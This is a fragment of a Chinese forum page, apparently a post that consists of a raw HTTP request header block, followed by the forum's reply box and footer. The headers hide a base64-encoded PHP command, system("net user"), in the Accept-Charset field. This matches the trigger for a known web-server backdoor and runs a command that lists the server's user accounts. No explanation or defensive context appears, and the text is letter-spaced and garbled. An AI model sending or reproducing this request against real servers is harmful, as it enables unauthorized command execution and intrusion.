U p g r a d e - I n s e c u r e - R e q u e s t s :   1       U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 7 . 0 . 3 8 6 5 . 9 0   S a f a r i / 5 3 7 . 3 6 A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 A c c e p t - E n c o d i n g : g z i p , d e f l a t e A c c e p t - C h a r s e t : c 3 l z d G V t K C J u Z X Q g d X N l c i I p O w = = A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 C o n n e c t i o n :   c l o s e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理